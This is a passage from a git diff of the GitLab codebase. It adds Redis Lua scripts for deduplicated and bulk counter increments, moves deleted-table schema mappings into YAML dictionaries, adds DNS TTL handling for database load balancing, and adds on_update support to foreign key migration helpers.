+ local counter_key, refresh_key, refresh_indicator_key = KEYS[1], KEYS[2], KEYS[3]
+ local tracking_shard_key, opposing_tracking_shard_key, shards_key = KEYS[4], KEYS[5], KEYS[6]
+
+ local amount, tracking_offset = tonumber(ARGV[1]), tonumber(ARGV[2])
+
+ -- increment to the counter key when not refreshing
+ if redis.call("exists", refresh_indicator_key) == 0 then
+ return redis.call("incrby", counter_key, amount)
+ end
+
+ -- deduplicate and increment to the refresh counter key while refreshing
+ local found_duplicate = redis.call("getbit", tracking_shard_key, tracking_offset)
+ if found_duplicate == 1 then
+ return redis.call("get", refresh_key)
+ end
+
+ redis.call("setbit", tracking_shard_key, tracking_offset, 1)
+ redis.call("expire", tracking_shard_key, #{REFRESH_KEYS_TTL.seconds})
+ redis.call("sadd", shards_key, tracking_shard_key)
+ redis.call("expire", shards_key, #{REFRESH_KEYS_TTL.seconds})
+
+ local found_opposing_change = redis.call("getbit", opposing_tracking_shard_key, tracking_offset)
+ local increment_without_previous_decrement = amount > 0 and found_opposing_change == 0
+ local decrement_with_previous_increment = amount < 0 and found_opposing_change == 1
+ local net_change = 0
+
+ if increment_without_previous_decrement or decrement_with_previous_increment then
+ net_change = amount
+ end
+
+ return redis.call("incrby", refresh_key, net_change)
+ LUA
+
+ def increment(increment)
result = redis_state do |redis|
- redis.incrby(key, amount)
+ if Feature.enabled?(:project_statistics_bulk_increment, type: :development)
+ redis.eval(LUA_INCREMENT_WITH_DEDUPLICATION_SCRIPT, **increment_args(increment)).to_i
+ else
+ redis.incrby(key, increment.amount)
+ end
end
FlushCounterIncrementsWorker.perform_in(WORKER_DELAY, counter_record.class.name, counter_record.id, attribute)
@@ -41,11 +90,63 @@ module Gitlab
result
end
- def reset!
+ def bulk_increment(increments)
+ result = redis_state do |redis|
+ redis.pipelined do |pipeline|
+ increments.each do |increment|
+ if Feature.enabled?(:project_statistics_bulk_increment, type: :development)
+ pipeline.eval(LUA_INCREMENT_WITH_DEDUPLICATION_SCRIPT, **increment_args(increment))
+ else
+ pipeline.incrby(key, increment.amount)
+ end
+ end
+ end
+ end
+
+ FlushCounterIncrementsWorker.perform_in(WORKER_DELAY, counter_record.class.name, counter_record.id, attribute)
+
+ result.last.to_i
+ end
+
+ LUA_INITIATE_REFRESH_SCRIPT = <<~LUA
+ local counter_key, refresh_indicator_key = KEYS[1], KEYS[2]
+ redis.call("del", counter_key)
+ redis.call("set", refresh_indicator_key, 1, "ex", #{REFRESH_KEYS_TTL.seconds})
+ LUA
+
+ def initiate_refresh!
counter_record.update!(attribute => 0)
redis_state do |redis|
- redis.del(key)
+ redis.eval(LUA_INITIATE_REFRESH_SCRIPT, keys: [key, refresh_indicator_key])
+ end
+ end
+
+ LUA_FINALIZE_REFRESH_SCRIPT = <<~LUA
+ local counter_key, refresh_key, refresh_indicator_key = KEYS[1], KEYS[2], KEYS[3]
+ local refresh_amount = redis.call("get", refresh_key) or 0
+
+ redis.call("incrby", counter_key, refresh_amount)
+ redis.call("del", refresh_indicator_key, refresh_key)
+ LUA
+
+ def finalize_refresh
+ redis_state do |redis|
+ redis.eval(LUA_FINALIZE_REFRESH_SCRIPT, keys: [key, refresh_key, refresh_indicator_key])
+ end
+
+ FlushCounterIncrementsWorker.perform_in(WORKER_DELAY, counter_record.class.name, counter_record.id, attribute)
+ ::Counters::CleanupRefreshWorker.perform_async(counter_record.class.name, counter_record.id, attribute)
+ end
+
+ def cleanup_refresh
+ redis_state do |redis|
+ while (shards = redis.spop(shards_key, CLEANUP_BATCH_SIZE))
+ redis.del(*shards)
+ break if shards.size < CLEANUP_BATCH_SIZE
+
+ sleep CLEANUP_INTERVAL_SECONDS
+ end
end
end
@@ -87,10 +188,67 @@ module Gitlab
"#{key}:flushed"
end
+ def refresh_indicator_key
+ "#{key}:refresh-in-progress"
+ end
+
+ def refresh_key
+ "#{key}:refresh"
+ end
+
private
attr_reader :counter_record, :attribute
+ def increment_args(increment)
+ {
+ keys: [
+ key,
+ refresh_key,
+ refresh_indicator_key,
+ tracking_shard_key(increment),
+ opposing_tracking_shard_key(increment),
+ shards_key
+ ],
+ argv: [
+ increment.amount,
+ tracking_offset(increment)
+ ]
+ }
+ end
+
+ def tracking_shard_key(increment)
+ positive?(increment) ? positive_shard_key(increment.ref.to_i) : negative_shard_key(increment.ref.to_i)
+ end
+
+ def opposing_tracking_shard_key(increment)
+ positive?(increment) ? negative_shard_key(increment.ref.to_i) : positive_shard_key(increment.ref.to_i)
+ end
+
+ def shards_key
+ "#{refresh_key}:shards"
+ end
+
+ def positive_shard_key(ref)
+ "#{refresh_key}:+:#{shard_number(ref)}"
+ end
+
+ def negative_shard_key(ref)
+ "#{refresh_key}:-:#{shard_number(ref)}"
+ end
+
+ def shard_number(ref)
+ ref / MAX_BITMAP_OFFSET
+ end
+
+ def tracking_offset(increment)
+ increment.ref.to_i % MAX_BITMAP_OFFSET
+ end
+
+ def positive?(increment)
+ increment.amount > 0
+ end
+
def remove_flushed_key
redis_state do |redis|
redis.del(flushed_key)
diff --git a/lib/gitlab/counters/legacy_counter.rb b/lib/gitlab/counters/legacy_counter.rb
index 06951514ec3..823f9955168 100644
--- a/lib/gitlab/counters/legacy_counter.rb
+++ b/lib/gitlab/counters/legacy_counter.rb
@@ -11,23 +11,36 @@ module Gitlab
@current_value = counter_record.method(attribute).call
end
- def increment(amount)
- updated = counter_record.class.update_counters(counter_record.id, { attribute => amount })
+ def increment(increment)
+ updated = update_counter_record_attribute(increment.amount)
if updated == 1
counter_record.execute_after_commit_callbacks
- @current_value += amount
+ @current_value += increment.amount
end
@current_value
end
- def reset!
- counter_record.update!(attribute => 0)
+ def bulk_increment(increments)
+ total_increment = increments.sum(&:amount)
+
+ updated = update_counter_record_attribute(total_increment)
+
+ if updated == 1
+ counter_record.execute_after_commit_callbacks
+ @current_value += total_increment
+ end
+
+ @current_value
end
private
+ def update_counter_record_attribute(amount)
+ counter_record.class.update_counters(counter_record.id, { attribute => amount })
+ end
+
attr_reader :counter_record, :attribute
end
end
diff --git a/lib/gitlab/data_builder/build.rb b/lib/gitlab/data_builder/build.rb
index 8eda871770b..8fec5cf3303 100644
--- a/lib/gitlab/data_builder/build.rb
+++ b/lib/gitlab/data_builder/build.rb
@@ -45,6 +45,7 @@ module Gitlab
commit: {
# note: commit.id is actually the pipeline id
id: commit.id,
+ name: commit.name,
sha: commit.sha,
message: commit.git_commit_message,
author_name: commit.git_author_name,
diff --git a/lib/gitlab/database.rb b/lib/gitlab/database.rb
index 51d5bfcee38..40e2e637114 100644
--- a/lib/gitlab/database.rb
+++ b/lib/gitlab/database.rb
@@ -84,7 +84,7 @@ module Gitlab
#
# TODO: https://gitlab.com/gitlab-org/geo-team/discussions/-/issues/5032
def self.database_base_models_using_load_balancing
- @database_base_models_with_gitlab_shared ||= {
+ @database_base_models_using_load_balancing ||= {
# Note that we use ActiveRecord::Base here and not ApplicationRecord.
# This is deliberate, as we also use these classes to apply load
# balancing to, and the load balancer must be enabled for _all_ models
diff --git a/lib/gitlab/database/as_with_materialized.rb b/lib/gitlab/database/as_with_materialized.rb
index a04ea97117d..417e9f211b9 100644
--- a/lib/gitlab/database/as_with_materialized.rb
+++ b/lib/gitlab/database/as_with_materialized.rb
@@ -25,7 +25,7 @@ module Gitlab
# Note: to be deleted after the minimum PG version is set to 12.0
# Update the documentation together when deleting the method
- # https://docs.gitlab.com/ee/development/merge_request_performance_guidelines.html#use-ctes-wisely
+ # https://docs.gitlab.com/ee/development/merge_request_concepts/performance.html#use-ctes-wisely
def self.materialized_if_supported
materialized_supported? ? 'MATERIALIZED' : ''
end
diff --git a/lib/gitlab/database/async_indexes/index_creator.rb b/lib/gitlab/database/async_indexes/index_creator.rb
index 2fb4cc8f675..3ae2bb7b3e5 100644
--- a/lib/gitlab/database/async_indexes/index_creator.rb
+++ b/lib/gitlab/database/async_indexes/index_creator.rb
@@ -4,10 +4,10 @@ module Gitlab
module Database
module AsyncIndexes
class IndexCreator
- include ExclusiveLeaseGuard
+ include IndexingExclusiveLeaseGuard
TIMEOUT_PER_ACTION = 1.day
- STATEMENT_TIMEOUT = 9.hours
+ STATEMENT_TIMEOUT = 20.hours
def initialize(async_index)
@async_index = async_index
@@ -47,10 +47,6 @@ module Gitlab
TIMEOUT_PER_ACTION
end
- def lease_key
- [super, async_index.connection_db_config.name].join('/')
- end
-
def set_statement_timeout
connection.execute("SET statement_timeout TO '%ds'" % STATEMENT_TIMEOUT)
yield
diff --git a/lib/gitlab/database/async_indexes/index_destructor.rb b/lib/gitlab/database/async_indexes/index_destructor.rb
index fe05872b87a..66955df9d04 100644
--- a/lib/gitlab/database/async_indexes/index_destructor.rb
+++ b/lib/gitlab/database/async_indexes/index_destructor.rb
@@ -4,7 +4,7 @@ module Gitlab
module Database
module AsyncIndexes
class IndexDestructor
- include ExclusiveLeaseGuard
+ include IndexingExclusiveLeaseGuard
TIMEOUT_PER_ACTION = 1.day
@@ -53,10 +53,6 @@ module Gitlab
TIMEOUT_PER_ACTION
end
- def lease_key
- [super, async_index.connection_db_config.name].join('/')
- end
-
def log_index_info(message)
Gitlab::AppLogger.info(message: message, table_name: async_index.table_name, index_name: async_index.name)
end
diff --git a/lib/gitlab/database/background_migration/batched_migration_wrapper.rb b/lib/gitlab/database/background_migration/batched_migration_wrapper.rb
index ad747a8131d..f1fc3efae9e 100644
--- a/lib/gitlab/database/background_migration/batched_migration_wrapper.rb
+++ b/lib/gitlab/database/background_migration/batched_migration_wrapper.rb
@@ -49,6 +49,8 @@ module Gitlab
def execute_job(tracking_record)
job_class = tracking_record.migration_job_class
+ ApplicationContext.push(feature_category: fetch_feature_category(job_class))
+
if job_class < Gitlab::BackgroundMigration::BatchedMigrationJob
execute_batched_migration_job(job_class, tracking_record)
else
@@ -86,6 +88,14 @@ module Gitlab
job_instance
end
+
+ def fetch_feature_category(job_class)
+ if job_class.respond_to?(:feature_category)
+ job_class.feature_category.to_s
+ else
+ Gitlab::BackgroundMigration::BatchedMigrationJob::DEFAULT_FEATURE_CATEGORY
+ end
+ end
end
end
end
diff --git a/lib/gitlab/database/gitlab_schema.rb b/lib/gitlab/database/gitlab_schema.rb
index 0f848ed40fb..38558512b6a 100644
--- a/lib/gitlab/database/gitlab_schema.rb
+++ b/lib/gitlab/database/gitlab_schema.rb
@@ -15,46 +15,12 @@
module Gitlab
module Database
module GitlabSchema
+ UnknownSchemaError = Class.new(StandardError)
+
DICTIONARY_PATH = 'db/docs/'
- # These tables are deleted/renamed, but still referenced by migrations.
- # This is needed for now, but should be removed in the future
- DELETED_TABLES = {
- # main tables
- 'alerts_service_data' => :gitlab_main,
- 'analytics_devops_adoption_segment_selections' => :gitlab_main,
- 'analytics_repository_file_commits' => :gitlab_main,
- 'analytics_repository_file_edits' => :gitlab_main,
- 'analytics_repository_files' => :gitlab_main,
- 'audit_events_archived' => :gitlab_main,
- 'backup_labels' => :gitlab_main,
- 'clusters_applications_fluentd' => :gitlab_main,
- 'forked_project_links' => :gitlab_main,
- 'issue_milestones' => :gitlab_main,
- 'merge_request_milestones' => :gitlab_main,
- 'namespace_onboarding_actions' => :gitlab_main,
- 'services' => :gitlab_main,
- 'terraform_state_registry' => :gitlab_main,
- 'tmp_fingerprint_sha256_migration' => :gitlab_main, # used by lib/gitlab/background_migration/migrate_fingerprint_sha256_within_keys.rb
- 'web_hook_logs_archived' => :gitlab_main,
- 'vulnerability_export_registry' => :gitlab_main,
- 'vulnerability_finding_fingerprints' => :gitlab_main,
- 'vulnerability_export_verification_status' => :gitlab_main,
-
- # CI tables
- 'ci_build_trace_sections' => :gitlab_ci,
- 'ci_build_trace_section_names' => :gitlab_ci,
- 'ci_daily_report_results' => :gitlab_ci,
- 'ci_test_cases' => :gitlab_ci,
- 'ci_test_case_failures' => :gitlab_ci,
-
- # leftovers from early implementation of partitioning
- 'audit_events_part_5fc467ac26' => :gitlab_main,
- 'web_hook_logs_part_0c5294f417' => :gitlab_main
- }.freeze
-
- def self.table_schemas(tables)
- tables.map { |table| table_schema(table) }.to_set
+ def self.table_schemas(tables, undefined: true)
+ tables.map { |table| table_schema(table, undefined: undefined) }.to_set
end
def self.table_schema(name, undefined: true)
@@ -69,13 +35,13 @@ module Gitlab
# strip partition number of a form `loose_foreign_keys_deleted_records_1`
table_name.gsub!(/_[0-9]+$/, '')
- # Tables that are properly mapped
+ # Tables and views that are properly mapped
if gitlab_schema = views_and_tables_to_schema[table_name]
return gitlab_schema
end
- # Tables that are deleted, but we still need to reference them
- if gitlab_schema = DELETED_TABLES[table_name]
+ # Tables and views that are deleted, but we still need to reference them
+ if gitlab_schema = deleted_views_and_tables_to_schema[table_name]
return gitlab_schema
end
@@ -106,29 +72,58 @@ module Gitlab
[Rails.root.join(DICTIONARY_PATH, 'views', '*.yml')]
end
+ def self.deleted_views_path_globs
+ [Rails.root.join(DICTIONARY_PATH, 'deleted_views', '*.yml')]
+ end
+
+ def self.deleted_tables_path_globs
+ [Rails.root.join(DICTIONARY_PATH, 'deleted_tables', '*.yml')]
+ end
+
def self.views_and_tables_to_schema
@views_and_tables_to_schema ||= self.tables_to_schema.merge(self.views_to_schema)
end
- def self.tables_to_schema
- @tables_to_schema ||= Dir.glob(self.dictionary_path_globs).each_with_object({}) do |file_path, dic|
- data = YAML.load_file(file_path)
+ def self.table_schema!(name)
+ self.table_schema(name, undefined: false) || raise(
+ UnknownSchemaError,
+ "Could not find gitlab schema for table #{name}: Any new tables must be added to the database dictionary"
+ )
+ end
- dic[data['table_name']] = data['gitlab_schema'].to_sym
- end
+ def self.deleted_views_and_tables_to_schema
+ @deleted_views_and_tables_to_schema ||= self.deleted_tables_to_schema.merge(self.deleted_views_to_schema)
end
- def self.views_to_schema
- @views_to_schema ||= Dir.glob(self.view_path_globs).each_with_object({}) do |file_path, dic|
- data = YAML.load_file(file_path)
+ def self.deleted_tables_to_schema
+ @deleted_tables_to_schema ||= self.build_dictionary(self.deleted_tables_path_globs)
+ end
- dic[data['view_name']] = data['gitlab_schema'].to_sym
- end
+ def self.deleted_views_to_schema
+ @deleted_views_to_schema ||= self.build_dictionary(self.deleted_views_path_globs)
+ end
+
+ def self.tables_to_schema
+ @tables_to_schema ||= self.build_dictionary(self.dictionary_path_globs)
+ end
+
+ def self.views_to_schema
+ @views_to_schema ||= self.build_dictionary(self.view_path_globs)
end
def self.schema_names
@schema_names ||= self.views_and_tables_to_schema.values.to_set
end
+
+ private_class_method def self.build_dictionary(path_globs)
+ Dir.glob(path_globs).each_with_object({}) do |file_path, dic|
+ data = YAML.load_file(file_path)
+
+ key_name = data['table_name'] || data['view_name']
+
+ dic[key_name] = data['gitlab_schema'].to_sym
+ end
+ end
end
end
end
diff --git a/lib/gitlab/database/indexing_exclusive_lease_guard.rb b/lib/gitlab/database/indexing_exclusive_lease_guard.rb
new file mode 100644
index 00000000000..fb45de347e6
--- /dev/null
+++ b/lib/gitlab/database/indexing_exclusive_lease_guard.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Database
+ module IndexingExclusiveLeaseGuard
+ extend ActiveSupport::Concern
+ include ExclusiveLeaseGuard
+
+ def lease_key
+ @lease_key ||= "gitlab/database/indexing/actions/#{database_config_name}"
+ end
+
+ def database_config_name
+ Gitlab::Database.db_config_name(connection)
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/database/load_balancing/resolver.rb b/lib/gitlab/database/load_balancing/resolver.rb
index a291080cc3d..3e3998cae92 100644
--- a/lib/gitlab/database/load_balancing/resolver.rb
+++ b/lib/gitlab/database/load_balancing/resolver.rb
@@ -7,8 +7,21 @@ module Gitlab
module Database
module LoadBalancing
class Resolver
+ FAR_FUTURE_TTL = 100.years.from_now
+
UnresolvableNameserverError = Class.new(StandardError)
+ Response = Class.new do
+ attr_reader :address, :ttl
+
+ def initialize(address:, ttl:)
+ raise ArgumentError unless ttl.present? && address.present?
+
+ @address = address
+ @ttl = ttl
+ end
+ end
+
def initialize(nameserver)
@nameserver = nameserver
end
@@ -28,13 +41,14 @@ module Gitlab
private
def ip_address
- IPAddr.new(@nameserver)
+ # IP addresses are valid forever
+ Response.new(address: IPAddr.new(@nameserver), ttl: FAR_FUTURE_TTL)
rescue IPAddr::InvalidAddressError
end
def ip_address_from_hosts_file
ip = Resolv::Hosts.new.getaddress(@nameserver)
- IPAddr.new(ip)
+ Response.new(address: IPAddr.new(ip), ttl: FAR_FUTURE_TTL)
rescue Resolv::ResolvError
end
@@ -42,7 +56,12 @@ module Gitlab
answer = Net::DNS::Resolver.start(@nameserver, Net::DNS::A).answer
return if answer.empty?
- answer.first.address
+ raw_response = answer.first
+
+ # Defaults to 30 seconds if there is no TTL present
+ ttl_in_seconds = raw_response.ttl.presence || 30
+
+ Response.new(address: answer.first.address, ttl: ttl_in_seconds.seconds.from_now)
rescue Net::DNS::Resolver::NoResponseError
raise UnresolvableNameserverError, "no response from DNS server(s)"
end
diff --git a/lib/gitlab/database/load_balancing/service_discovery.rb b/lib/gitlab/database/load_balancing/service_discovery.rb
index 3295301a2d7..5059b3b5c93 100644
--- a/lib/gitlab/database/load_balancing/service_discovery.rb
+++ b/lib/gitlab/database/load_balancing/service_discovery.rb
@@ -69,6 +69,7 @@ module Gitlab
@use_tcp = use_tcp
@load_balancer = load_balancer
@max_replica_pools = max_replica_pools
+ @nameserver_ttl = 1.second.ago # Begin with an expired ttl to trigger a nameserver dns lookup
end
# rubocop:enable Metrics/ParameterLists
@@ -191,8 +192,14 @@ module Gitlab
end
def resolver
- @resolver ||= Net::DNS::Resolver.new(
- nameservers: Resolver.new(@nameserver).resolve,
+ return @resolver if defined?(@resolver) && @nameserver_ttl.future?
+
+ response = Resolver.new(@nameserver).resolve
+
+ @nameserver_ttl = response.ttl
+
+ @resolver = Net::DNS::Resolver.new(
+ nameservers: response.address,
port: @port,
use_tcp: @use_tcp
)
diff --git a/lib/gitlab/database/lock_writes_manager.rb b/lib/gitlab/database/lock_writes_manager.rb
index e3ae2892668..2e08e1ffb42 100644
--- a/lib/gitlab/database/lock_writes_manager.rb
+++ b/lib/gitlab/database/lock_writes_manager.rb
@@ -22,37 +22,38 @@ module Gitlab
end
end
- def initialize(table_name:, connection:, database_name:, logger: nil, dry_run: false)
+ def initialize(table_name:, connection:, database_name:, with_retries: true, logger: nil, dry_run: false)
@table_name = table_name
@connection = connection
@database_name = database_name
@logger = logger
@dry_run = dry_run
+ @with_retries = with_retries
@table_name_without_schema = ActiveRecord::ConnectionAdapters::PostgreSQL::Utils
.extract_schema_qualified_name(table_name)
.identifier
end
- def table_locked_for_writes?(table_name)
+ def table_locked_for_writes?
query = <<~SQL
SELECT COUNT(*) from information_schema.triggers
WHERE event_object_table = '#{table_name_without_schema}'
- AND trigger_name = '#{write_trigger_name(table_name)}'
+ AND trigger_name = '#{write_trigger_name}'
SQL
connection.select_value(query) == EXPECTED_TRIGGER_RECORD_COUNT
end
def lock_writes
- if table_locked_for_writes?(table_name)
+ if table_locked_for_writes?
logger&.info "Skipping lock_writes, because #{table_name} is already locked for writes"
return
end
logger&.info "Database: '#{database_name}', Table: '#{table_name}': Lock Writes".color(:yellow)
sql_statement = <<~SQL
- CREATE TRIGGER #{write_trigger_name(table_name)}
+ CREATE TRIGGER #{write_trigger_name}
BEFORE INSERT OR UPDATE OR DELETE OR TRUNCATE
ON #{table_name}
FOR EACH STATEMENT EXECUTE FUNCTION #{TRIGGER_FUNCTION_NAME}();
@@ -64,7 +65,7 @@ module Gitlab
def unlock_writes
logger&.info "Database: '#{database_name}', Table: '#{table_name}': Allow Writes".color(:green)
sql_statement = <<~SQL
- DROP TRIGGER IF EXISTS #{write_trigger_name(table_name)} ON #{table_name};
+ DROP TRIGGER IF EXISTS #{write_trigger_name} ON #{table_name};
SQL
execute_sql_statement(sql_statement)
@@ -72,19 +73,23 @@ module Gitlab
private
- attr_reader :table_name, :connection, :database_name, :logger, :dry_run, :table_name_without_schema
+ attr_reader :table_name, :connection, :database_name, :logger, :dry_run, :table_name_without_schema, :with_retries
def execute_sql_statement(sql)
if dry_run
logger&.info sql
- else
- with_retries(connection) do
+ elsif with_retries
+ raise "Cannot call lock_retries_helper if a transaction is already open" if connection.transaction_open?
+
+ run_with_retries(connection) do
connection.execute(sql)
end
+ else
+ connection.execute(sql)
end
end
- def with_retries(connection, &block)
+ def run_with_retries(connection, &block)
with_statement_timeout_retries do
with_lock_retries(connection) do
yield
@@ -110,11 +115,12 @@ module Gitlab
Gitlab::Database::WithLockRetries.new(
klass: "gitlab:db:lock_writes",
logger: logger || Gitlab::AppLogger,
- connection: connection
+ connection: connection,
+ allow_savepoints: false # this causes the WithLockRetries to fail if sub-transaction has been detected.
).run(&block)
end
- def write_trigger_name(table_name)
+ def write_trigger_name
"gitlab_schema_write_trigger_for_#{table_name_without_schema}"
end
end
diff --git a/lib/gitlab/database/loose_foreign_keys.rb b/lib/gitlab/database/loose_foreign_keys.rb
index 1338b18a099..6512c672965 100644
--- a/lib/gitlab/database/loose_foreign_keys.rb
+++ b/lib/gitlab/database/loose_foreign_keys.rb
@@ -22,7 +22,7 @@ module Gitlab
{
column: config.fetch('column'),
on_delete: config.fetch('on_delete').to_sym,
- gitlab_schema: GitlabSchema.table_schema(child_table_name)
+ gitlab_schema: GitlabSchema.table_schema!(child_table_name)
}
)
end
diff --git a/lib/gitlab/database/migration_helpers.rb b/lib/gitlab/database/migration_helpers.rb
index 4858a96c173..e41107370ec 100644
--- a/lib/gitlab/database/migration_helpers.rb
+++ b/lib/gitlab/database/migration_helpers.rb
@@ -281,6 +281,9 @@ module Gitlab
# target_column - The name of the referenced column, defaults to "id".
# on_delete - The action to perform when associated data is removed,
# defaults to "CASCADE".
+ # on_update - The action to perform when associated data is updated,
+ # defaults to nil. This is useful for multi column FKs if
+ # it's desirable to update one of the columns.
# name - The name of the foreign key.
# validate - Flag that controls whether the new foreign key will be validated after creation.
# If the flag is not set, the constraint will only be enforced for new data.
@@ -288,7 +291,8 @@ module Gitlab
# order of the ALTER TABLE. This can be useful in situations where the foreign
# key creation could deadlock with another process.
#
- def add_concurrent_foreign_key(source, target, column:, on_delete: :cascade, target_column: :id, name: nil, validate: true, reverse_lock_order: false)
+ # rubocop: disable Metrics/ParameterLists
+ def add_concurrent_foreign_key(source, target, column:, on_delete: :cascade, on_update: nil, target_column: :id, name: nil, validate: true, reverse_lock_order: false)
# Transactions would result in ALTER TABLE locks being held for the
# duration of the transaction, defeating the purpose of this method.
if transaction_open?
@@ -298,6 +302,7 @@ module Gitlab
options = {
column: column,
on_delete: on_delete,
+ on_update: on_update,
name: name.presence || concurrent_foreign_key_name(source, column),
primary_key: target_column
}
@@ -306,7 +311,8 @@ module Gitlab
warning_message = "Foreign key not created because it exists already " \
"(this may be due to an aborted migration or similar): " \
"source: #{source}, target: #{target}, column: #{options[:column]}, "\
- "name: #{options[:name]}, on_delete: #{options[:on_delete]}"
+ "name: #{options[:name]}, on_update: #{options[:on_update]}, "\
+ "on_delete: #{options[:on_delete]}"
Gitlab::AppLogger.warn warning_message
else
@@ -322,6 +328,7 @@ module Gitlab
ADD CONSTRAINT #{options[:name]}
FOREIGN KEY (#{multiple_columns(options[:column])})
REFERENCES #{target} (#{multiple_columns(target_column)})
+ #{on_update_statement(options[:on_update])}
#{on_delete_statement(options[:on_delete])}
NOT VALID;
EOF
@@ -343,6 +350,7 @@ module Gitlab
end
end
end
+ # rubocop: enable Metrics/ParameterLists
def validate_foreign_key(source, column, name: nil)
fk_name = name || concurrent_foreign_key_name(source, column)
@@ -357,10 +365,28 @@ module Gitlab
end
def foreign_key_exists?(source, target = nil, **options)
- foreign_keys(source).any? do |foreign_key|
- tables_match?(target.to_s, foreign_key.to_table.to_s) &&
- options_match?(foreign_key.options, options)
+ # This if block is necessary because foreign_key_exists? is called in down migrations that may execute before
+ # the postgres_foreign_keys view had necessary columns added, or even before the view existed.
+ # In that case, we revert to the previous behavior of this method.
+ # The behavior in the if block has a bug: it always returns false if the fk being checked has multiple columns.
+ # This can be removed after init_schema.rb passes 20221122210711_add_columns_to_postgres_foreign_keys.rb
+ # Tracking issue: https://gitlab.com/gitlab-org/gitlab/-/issues/386796
+ if ActiveRecord::Migrator.current_version < 20221122210711
+ return foreign_keys(source).any? do |foreign_key|
+ tables_match?(target.to_s, foreign_key.to_table.to_s) &&
+ options_match?(foreign_key.options, options)
+ end
end
+
+ fks = Gitlab::Database::PostgresForeignKey.by_constrained_table_name(source)
+
+ fks = fks.by_referenced_table_name(target) if target
+ fks = fks.by_name(options[:name]) if options[:name]
+ fks = fks.by_constrained_columns(options[:column]) if options[:column]
+ fks = fks.by_referenced_columns(options[:primary_key]) if options[:primary_key]
+ fks = fks.by_on_delete_action(options[:on_delete]) if options[:on_delete]
+
+ fks.exists?
end
# Returns the name for a concurrent foreign key.
@@ -1278,6 +1304,13 @@ into similar problems in the future (e.g. when new tables are created).
"ON DELETE #{on_delete.upcase}"
end
+ def on_update_statement(on_update)
+ return '' if on_update.blank?
+ return 'ON UPDATE SET NULL' if on_update == :nullify
+
+ "ON UPDATE #{on_update.upcase}"
+ end
+
def create_column_from(table, old, new, type: nil, batch_column_name: :id, type_cast_function: nil, limit: nil)
old_col = column_for(table, old)
new_type = type || old_col.type
diff --git a/lib/gitlab/database/migration_helpers/automatic_lock_writes_on_tables.rb b/lib/gitlab/database/migration_helpers/automatic_lock_writes_on_tables.rb
index 0aa4b0d01c4..c59139344ea 100644
--- a/lib/gitlab/database/migration_helpers/automatic_lock_writes_on_tables.rb
+++ b/lib/gitlab/database/migration_helpers/automatic_lock_writes_on_tables.rb
@@ -42,7 +42,7 @@ module Gitlab
def should_lock_writes_on_table?(table_name)
# currently gitlab_schema represents only present existing tables, this is workaround for deleted tables
# that should be skipped as they will be removed in a future migration.
- return false if Gitlab::Database::GitlabSchema::DELETED_TABLES[table_name]
+ return false if Gitlab::Database::GitlabSchema.deleted_tables_to_schema[table_name]
table_schema = Gitlab::Database::GitlabSchema.table_schema(table_name.to_s, undefined: false)
@@ -60,12 +60,15 @@ module Gitlab
Gitlab::Database.gitlab_schemas_for_connection(connection).exclude?(table_schema)
end
+ # with_retries creates new a transaction. So we set it to false if the connection is
+ # already has an open transaction, to avoid sub-transactions.
def lock_writes_on_table(connection, table_name)
database_name = Gitlab::Database.db_config_name(connection)
LockWritesManager.new(
table_name: table_name,
connection: connection,
database_name: database_name,
+ with_retries: !connection.transaction_open?,
logger: Logger.new($stdout)
).lock_writes
end
diff --git a/lib/gitlab/database/migrations/base_background_runner.rb b/lib/gitlab/database/migrations/base_background_runner.rb
index dbb85bad95c..8975c04e33a 100644
--- a/lib/gitlab/database/migrations/base_background_runner.rb
+++ b/lib/gitlab/database/migrations/base_background_runner.rb
@@ -44,13 +44,20 @@ module Gitlab
jobs.each do |j|
break if run_until <= Time.current
+ meta = migration_meta(j)
+
instrumentation.observe(version: nil,
name: batch_names.next,
- connection: connection) do
+ connection: connection,
+ meta: meta) do
run_job(j)
end
end
end
+
+ def migration_meta(_job)
+ {}
+ end
end
end
end
diff --git a/lib/gitlab/database/migrations/instrumentation.rb b/lib/gitlab/database/migrations/instrumentation.rb
index 7c21346007a..8c479d7eda2 100644
--- a/lib/gitlab/database/migrations/instrumentation.rb
+++ b/lib/gitlab/database/migrations/instrumentation.rb
@@ -11,8 +11,8 @@ module Gitlab
@result_dir = result_dir
end
- def observe(version:, name:, connection:, &block)
- observation = Observation.new(version: version, name: name, success: false)
+ def observe(version:, name:, connection:, meta: {}, &block)
+ observation = Observation.new(version: version, name: name, success: false, meta: meta)
per_migration_result_dir = File.join(@result_dir, name)
diff --git a/lib/gitlab/database/migrations/observation.rb b/lib/gitlab/database/migrations/observation.rb
index 228eea3393c..80388c4dbbb 100644
--- a/lib/gitlab/database/migrations/observation.rb
+++ b/lib/gitlab/database/migrations/observation.rb
@@ -10,6 +10,7 @@ module Gitlab
:walltime,
:success,
:total_database_size_change,
+ :meta,
:query_statistics,
keyword_init: true
)
diff --git a/lib/gitlab/database/migrations/test_batched_background_runner.rb b/lib/gitlab/database/migrations/test_batched_background_runner.rb
index a16103f452c..c123d01f327 100644
--- a/lib/gitlab/database/migrations/test_batched_background_runner.rb
+++ b/lib/gitlab/database/migrations/test_batched_background_runner.rb
@@ -13,7 +13,7 @@ module Gitlab
end
def jobs_by_migration_name
- Gitlab::Database::SharedModel.using_connection(connection) do
+ set_shared_model_connection do
Gitlab::Database::BackgroundMigration::BatchedMigration
.executable
.where('id > ?', from_id)
@@ -70,7 +70,7 @@ module Gitlab
end
def run_job(job)
- Gitlab::Database::SharedModel.using_connection(connection) do
+ set_shared_model_connection do
Gitlab::Database::BackgroundMigration::BatchedMigrationWrapper.new(connection: connection).perform(job)
end
end
@@ -107,6 +107,16 @@ module Gitlab
private
attr_reader :from_id
+
+ def set_shared_model_connection(&block)
+ Gitlab::Database::SharedModel.using_connection(connection, &block)
+ end
+
+ def migration_meta(job)
+ set_shared_model_connection do
+ job.batched_migration.slice(:max_batch_size, :total_tuple_count, :interval)
+ end
+ end
end
end
end
diff --git a/lib/gitlab/database/partitioning_migration_helpers/foreign_key_helpers.rb b/lib/gitlab/database/partitioning_migration_helpers/foreign_key_helpers.rb
index bd8ed677d77..8849191f356 100644
--- a/lib/gitlab/database/partitioning_migration_helpers/foreign_key_helpers.rb
+++ b/lib/gitlab/database/partitioning_migration_helpers/foreign_key_helpers.rb
@@ -5,6 +5,7 @@ module Gitlab
module PartitioningMigrationHelpers
module ForeignKeyHelpers
include ::Gitlab::Database::SchemaHelpers
+ include ::Gitlab::Database::Migrations::LockRetriesHelpers
ERROR_SCOPE = 'foreign keys'
